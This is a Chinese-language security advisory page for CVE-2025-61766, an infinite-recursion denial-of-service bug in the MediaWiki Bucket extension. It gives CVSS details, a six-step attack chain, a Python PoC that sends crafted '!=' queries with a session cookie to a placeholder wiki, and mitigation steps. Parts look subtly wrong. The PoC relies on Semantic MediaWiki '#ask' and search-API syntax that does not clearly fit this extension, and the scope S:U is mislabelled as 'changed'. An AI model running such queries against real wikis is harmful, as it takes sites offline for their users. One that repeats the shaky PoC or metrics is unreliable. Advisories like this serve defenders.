IPBUF安全漏洞报告
English
CVE-2025-61766 CVSS 6.5 中危

CVE-2025-61766:MediaWiki Bucket扩展无限递归拒绝服务漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-61766
漏洞类型
拒绝服务(DoS)/ 无限递归
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
weirdgloop/mediawiki-extensions-Bucket(MediaWiki Bucket扩展)

相关标签

拒绝服务DoS无限递归MediaWikiBucket扩展weirdgloopPHP中危漏洞CVSS-6.5GHSA-r9f2-4jh3-659j

漏洞概述

CVE-2025-61766是MediaWiki Bucket扩展中存在的一个拒绝服务(DoS)漏洞。该扩展是一个用于在MediaWiki文章上存储和检索结构化数据的工具。漏洞存在于版本1.0.0之前的Bucket扩展中,具体位于Expression模块的MemberOfExpression.php文件中。当用户使用`!=`(不等于)比较运算符查询bucket数据时,系统会触发无限递归调用,导致PHP的调用栈溢出和/或内存消耗急剧增加,最终造成拒绝服务攻击。该漏洞的CVSS 3.1评分为6.5,属于中危级别。攻击者需要具有低权限(已认证用户)即可通过网络远程发起攻击,无需用户交互。虽然该漏洞不会直接泄露敏感数据或破坏数据完整性,但其对系统可用性具有高影响,可能导致整个MediaWiki站点无法正常响应请求。该漏洞已于2025年10月6日公开披露,发现者为GitHub安全顾问团队,官方已在版本1.0.0中发布了修复补丁。

技术细节

该漏洞的根本原因在于MemberOfExpression.php文件的第34行代码中,当处理`!=`(不等于)比较运算符时,缺少对递归深度的限制或终止条件的检查。具体而言,当Bucket扩展解析SMW(Semantic MediaWiki)查询表达式时,包含`!=`运算符的查询会被转换为一个递归处理逻辑。在某些边界条件下,例如当查询涉及自引用或循环引用的bucket数据时,递归函数会无限调用自身而无法终止。

从技术角度分析,PHP默认的调用栈深度有限(通常为100-250层),无限递归将导致"Maximum function nesting level reached"或"Fatal error: Allowed memory size exhausted"等致命错误。在Web环境中,这类致命错误会导致PHP进程崩溃或返回500错误,从而拒绝为合法用户提供服务。

攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),这意味着任何已认证的MediaWiki用户(包括普通注册用户)都可以通过构造特殊的查询请求来触发该漏洞。由于不需要用户交互(UI:N),攻击者可以通过自动化脚本批量发送恶意查询请求,进一步加剧服务不可用的程度。漏洞的影响范围为变更(S:U),即仅限于触发该请求的组件,但可用性影响为高(A:H),可能导致整个MediaWiki实例不可用。

攻击链分析

STEP 1
步骤1:获取认证
攻击者注册一个低权限的MediaWiki账户或利用已有的普通用户凭证,因为该漏洞只需要低权限(PR:L)即可触发。
STEP 2
步骤2:构造恶意查询
攻击者构造一个包含`!=`(不等于)比较运算符的Bucket查询表达式,通常结合自引用或循环引用的bucket数据,使查询逻辑进入无限递归。
STEP 3
步骤3:发送查询请求
攻击者通过MediaWiki的API接口或直接在wiki页面中嵌入查询语句,向目标服务器发送恶意请求。请求可以通过网络远程发起(AV:N),无需用户交互(UI:N)。
STEP 4
步骤4:触发无限递归
服务器在处理查询时,MemberOfExpression.php文件中的代码进入无限递归调用,每次调用都消耗调用栈空间和内存。
STEP 5
步骤5:资源耗尽导致DoS
PHP的调用栈达到最大深度限制(通常100-250层)或内存耗尽,导致PHP进程抛出致命错误并崩溃,返回500错误,正常用户无法访问服务。
STEP 6
步骤6:扩大攻击影响
攻击者可以通过自动化脚本批量发送多个恶意查询请求,进一步加剧服务器资源消耗,导致整个MediaWiki实例长时间不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61766 PoC - MediaWiki Bucket Extension Infinite Recursion DoS # Vulnerability: Infinite recursion when using '!=' comparator in bucket queries # Affected: Bucket extension < 1.0.0 # File: includes/Expression/MemberOfExpression.php (Line 34) # PoC 1: Direct API query triggering infinite recursion # This query uses the '!=' comparator on a self-referencing bucket import requests TARGET_URL = "https://target-wiki.example.com/w/api.php" COOKIES = { "session_token": "YOUR_AUTHENTICATED_SESSION_TOKEN" # Requires low-privilege auth } # Crafted query parameters that trigger infinite recursion via '!=' operator params = { "action": "query", "list": "search", "srsearch": "[[Bucket:TestBucket::!={{PAGENAME}}]]", # '!=' triggers recursion "format": "json" } response = requests.get(TARGET_URL, params=params, cookies=COOKIES) print(f"Status: {response.status_code}") # Expected: 500 Internal Server Error or PHP fatal error due to stack overflow # PoC 2: Inline query in wiki page content # Add the following to any wiki page (requires edit permission): WIKI_INLINE_QUERY = """ {{#ask: [[Bucket:TestBucket::!={{PAGENAME}}]] |?Property1 }} """ # PoC 3: URL-based exploitation # Direct URL that triggers the vulnerable code path: EXPLOIT_URL = ( "https://target-wiki.example.com/wiki/Special:Ask" "?q=[[Bucket:TestBucket::!=SomeValue]]&po=1" ) print(f"Exploit URL: {EXPLOIT_URL}") # Note: The '!=' comparator on self-referencing or circular bucket data # causes MemberOfExpression::evaluate() to recursively call itself # without a proper termination condition, exhausting PHP's call stack.

影响范围

weirdgloop/mediawiki-extensions-Bucket < 1.0.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过MediaWiki的用户权限管理,临时限制普通用户对Bucket查询功能的访问权限;2)在Web服务器层面(如Nginx/Apache)配置速率限制,阻止短时间内的大量异常查询请求;3)在PHP配置中设置合理的pcre.backtrack_limit和内存限制,防止单次请求消耗过多资源;4)监控服务器日志,及时识别和阻止触发无限递归的恶意请求;5)考虑临时禁用Bucket扩展中涉及`!=`运算符的查询功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表